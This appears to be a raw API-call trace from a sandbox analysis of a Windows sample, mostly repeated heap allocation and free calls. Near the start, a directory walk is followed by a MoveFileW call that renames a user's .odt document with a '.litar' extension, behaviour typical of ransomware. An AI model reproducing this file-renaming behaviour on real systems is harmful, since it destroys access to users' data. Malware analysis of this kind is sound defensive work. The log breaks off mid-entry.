1 [0126.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0126.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0126.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\_-u6ogOGtJDh_andzkIr.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\_-u6ogogtjdh_andzkir.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\JfBL0k2cocNOiKXL4y9\\_-u6ogOGtJDh_andzkIr.odt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\jfbl0k2cocnoikxl4y9\\_-u6ogogtjdh_andzkir.odt.litar")) returned 1 [0126.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.550] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x584bdd10, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xd12e1080, ftLastAccessTime.dwHighDateTime=0x1d4ca92, ftLastWriteTime.dwLowDateTime=0xd12e1080, ftLastWriteTime.dwHighDateTime=0x1d4ca92, nFileSizeHigh=0x0, nFileSizeLow=0x18aac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_-u6ogOGtJDh_andzkIr.odt", cAlternateFileName="_-U6OG~1.ODT")) returned 0 [0126.551] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.551] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.551] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.555] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.556] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.556] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.557] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 